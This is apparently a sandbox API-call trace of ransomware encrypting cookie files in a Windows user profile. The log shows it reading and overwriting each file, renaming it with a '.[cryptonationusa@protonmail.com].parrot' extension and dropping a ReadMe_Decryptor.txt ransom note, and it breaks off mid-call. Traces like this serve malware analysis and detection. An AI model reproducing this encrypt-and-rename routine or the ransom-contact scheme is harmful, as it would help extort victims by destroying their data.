[0056.428] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14e) returned 0x5fc6d0 [0056.428] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x63ca90 | out: hHeap=0x540000) returned 1 [0056.428] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0056.431] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fc6d0 | out: hHeap=0x540000) returned 1 [0056.431] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562228 | out: hHeap=0x540000) returned 1 [0056.431] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb458 | out: hHeap=0x540000) returned 1 [0056.431] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3a40 [0056.431] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc0) returned 0x55bf20 [0056.431] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bbe8 [0056.431] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bd98 [0056.431] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18efb8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x310 [0056.432] GetFileType (hFile=0x310) returned 0x1 [0056.432] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61c9a8 [0056.583] lstrcmpW (lpString1="5p5nrgjn0js_halpmcxz@demdex[1].txt", lpString2="ReadMe_Decryptor.txt") returned -1 [0056.583] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2b0 [0056.774] GetFileSize (in: hFile=0x2b0, lpFileSizeHigh=0x18f240 | out: lpFileSizeHigh=0x18f240*=0x0) returned 0xf1 [0056.774] LockFile (hFile=0x2b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x209, nNumberOfBytesToLockHigh=0x0) returned 1 [0056.774] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0056.774] ReadFile (in: hFile=0x2b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0056.775] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.775] ReadFile (in: hFile=0x2b0, lpBuffer=0x3780040, nNumberOfBytesToRead=0xf1, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x3780040*, lpNumberOfBytesRead=0x18f1c4*=0xf1, lpOverlapped=0x0) returned 1 [0056.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bbe8 [0056.775] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0056.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e2a48 [0056.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c40 [0056.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0056.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x3890060 [0056.775] GetLastError () returned 0x0 [0056.775] SetLastError (dwErrCode=0x0) [0056.775] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0056.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e78a0 [0056.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c70 [0056.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0056.775] GetLastError () returned 0x0 [0056.775] SetLastError (dwErrCode=0x0) [0056.775] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0056.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0056.775] GetLastError () returned 0x0 [0056.775] SetLastError (dwErrCode=0x0) [0056.775] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0056.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0056.776] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c28 [0056.776] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61c9a8 [0056.776] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x38b0060 [0056.776] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bbe8 [0056.776] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1f0) returned 0x28d5988 [0056.776] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x38b0060 | out: hHeap=0x540000) returned 1 [0056.776] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0056.776] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0056.776] GetLastError () returned 0x0 [0056.776] SetLastError (dwErrCode=0x0) [0056.776] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0056.776] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x61c9a8 | out: hHeap=0x540000) returned 1 [0056.776] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0056.776] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x540000) returned 1 [0056.776] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0056.776] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e2a48 | out: hHeap=0x540000) returned 1 [0056.776] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3890060 | out: hHeap=0x540000) returned 1 [0056.776] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x38b0060 [0056.776] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x5bbfc0 [0056.776] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x38b0060 | out: hHeap=0x540000) returned 1 [0056.776] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.776] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bbe8 [0056.776] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bd98 [0056.776] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0056.776] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3) returned 0x55bbe8 [0056.776] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bd98 | out: hHeap=0x540000) returned 1 [0056.776] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bd98 [0056.776] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0056.776] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bbe8 [0056.776] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bd98 | out: hHeap=0x540000) returned 1 [0056.776] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9) returned 0x5f4c40 [0056.776] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0056.776] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x5f4c70 [0056.776] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0056.777] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13) returned 0x59a0c8 [0056.777] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0056.777] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x603dd8 [0056.777] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0056.777] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2a) returned 0x5bb570 [0056.777] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0056.777] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3f) returned 0x5eb960 [0056.777] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0056.777] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x28d9488 [0056.777] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0056.777] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8d) returned 0x6090e0 [0056.777] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0056.777] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd3) returned 0x28d14a8 [0056.777] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6090e0 | out: hHeap=0x540000) returned 1 [0056.777] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13c) returned 0x28d5b80 [0056.777] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0056.777] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x218) returned 0x28d30d0 [0056.777] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d5b80 | out: hHeap=0x540000) returned 1 [0056.777] WriteFile (in: hFile=0x2b0, lpBuffer=0x28d30d0*, nNumberOfBytesToWrite=0x218, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x28d30d0*, lpNumberOfBytesWritten=0x18f1c4*=0x218, lpOverlapped=0x0) returned 1 [0056.777] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d30d0 | out: hHeap=0x540000) returned 1 [0056.777] UnlockFile (hFile=0x2b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x209, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0056.777] CloseHandle (hObject=0x2b0) returned 1 [0056.778] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0) returned 0x63ca90 [0056.778] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14e) returned 0x28d5b80 [0056.778] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x63ca90 | out: hHeap=0x540000) returned 1 [0056.778] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0056.831] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d5b80 | out: hHeap=0x540000) returned 1 [0056.831] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bbfc0 | out: hHeap=0x540000) returned 1 [0056.831] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d5988 | out: hHeap=0x540000) returned 1 [0056.831] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3a40 [0056.831] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc0) returned 0x55c0b0 [0056.831] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bbe8 [0056.831] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bd98 [0056.831] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18efb8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2b0 [0056.832] GetFileType (hFile=0x2b0) returned 0x1 [0056.832] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61d9b0 [0056.844] lstrcmpW (lpString1="5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", lpString2="ReadMe_Decryptor.txt") returned -1 [0056.844] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2b0 [0056.844] GetFileSize (in: hFile=0x2b0, lpFileSizeHigh=0x18f240 | out: lpFileSizeHigh=0x18f240*=0x0) returned 0x6f [0056.844] LockFile (hFile=0x2b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x187, nNumberOfBytesToLockHigh=0x0) returned 1 [0056.844] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0056.844] ReadFile (in: hFile=0x2b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0056.845] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.845] ReadFile (in: hFile=0x2b0, lpBuffer=0x3780040, nNumberOfBytesToRead=0x6f, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x3780040*, lpNumberOfBytesRead=0x18f1c4*=0x6f, lpOverlapped=0x0) returned 1 [0056.845] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bbe8 [0056.846] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0056.846] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e28c8 [0056.846] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c88 [0056.846] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0056.846] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x3891368 [0056.846] GetLastError () returned 0x0 [0056.846] SetLastError (dwErrCode=0x0) [0056.846] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0056.846] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e7520 [0056.846] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c58 [0056.846] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0056.846] GetLastError () returned 0x0 [0056.846] SetLastError (dwErrCode=0x0) [0056.846] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0056.846] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0056.846] GetLastError () returned 0x0 [0056.846] SetLastError (dwErrCode=0x0) [0056.846] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0056.846] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0056.846] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4d30 [0056.846] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61d9b0 [0056.846] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x5db288 [0056.846] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf) returned 0x5f4ca0 [0056.846] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd0) returned 0x5cb618 [0056.846] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5db288 | out: hHeap=0x540000) returned 1 [0056.846] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4d30 | out: hHeap=0x540000) returned 1 [0056.846] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4ca0 | out: hHeap=0x540000) returned 1 [0056.846] GetLastError () returned 0x0 [0056.846] SetLastError (dwErrCode=0x0) [0056.846] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0056.846] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x61d9b0 | out: hHeap=0x540000) returned 1 [0056.846] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c58 | out: hHeap=0x540000) returned 1 [0056.846] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e7520 | out: hHeap=0x540000) returned 1 [0056.847] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c88 | out: hHeap=0x540000) returned 1 [0056.847] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e28c8 | out: hHeap=0x540000) returned 1 [0056.847] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3891368 | out: hHeap=0x540000) returned 1 [0056.847] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x38b0060 [0056.847] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x5bbfc0 [0056.847] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x38b0060 | out: hHeap=0x540000) returned 1 [0056.847] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.847] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bbe8 [0056.847] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bd98 [0056.847] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0056.847] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3) returned 0x55bbe8 [0056.847] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bd98 | out: hHeap=0x540000) returned 1 [0056.847] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bd98 [0056.847] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0056.847] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bbe8 [0056.847] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bd98 | out: hHeap=0x540000) returned 1 [0056.847] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9) returned 0x5f4c88 [0056.847] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0056.847] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x5f4c58 [0056.847] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c88 | out: hHeap=0x540000) returned 1 [0056.847] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13) returned 0x59a0c8 [0056.847] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c58 | out: hHeap=0x540000) returned 1 [0056.847] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x603dd8 [0056.847] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0056.847] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2a) returned 0x5bb6c0 [0056.847] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0056.847] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3f) returned 0x5eb960 [0056.847] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0056.847] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x28d9488 [0056.847] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0056.847] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8d) returned 0x609178 [0056.848] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0056.848] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x188) returned 0x5fc6d0 [0056.848] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x609178 | out: hHeap=0x540000) returned 1 [0056.848] WriteFile (in: hFile=0x2b0, lpBuffer=0x5fc6d0*, nNumberOfBytesToWrite=0x188, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x5fc6d0*, lpNumberOfBytesWritten=0x18f1c4*=0x188, lpOverlapped=0x0) returned 1 [0056.848] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fc6d0 | out: hHeap=0x540000) returned 1 [0056.848] UnlockFile (hFile=0x2b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x187, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0056.848] CloseHandle (hObject=0x2b0) returned 1 [0056.849] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0) returned 0x63ca90 [0056.849] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14e) returned 0x562228 [0056.849] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x63ca90 | out: hHeap=0x540000) returned 1 [0056.849] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0056.850] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562228 | out: hHeap=0x540000) returned 1 [0056.850] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bbfc0 | out: hHeap=0x540000) returned 1 [0056.850] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5cb618 | out: hHeap=0x540000) returned 1 [0056.850] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3a40 [0056.850] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc0) returned 0x55c0b0 [0056.850] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bbe8 [0056.850] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bd98 [0056.850] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18efb8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2b0 [0056.851] GetFileType (hFile=0x2b0) returned 0x1 [0056.851] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61d9b0 [0056.861] lstrcmpW (lpString1="5p5nrgjn0js_halpmcxz@everesttech[1].txt", lpString2="ReadMe_Decryptor.txt") returned -1 [0056.861] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2b0 [0056.862] GetFileSize (in: hFile=0x2b0, lpFileSizeHigh=0x18f240 | out: lpFileSizeHigh=0x18f240*=0x0) returned 0x6e [0056.862] LockFile (hFile=0x2b0, dwFileOffsetLow=0x0, 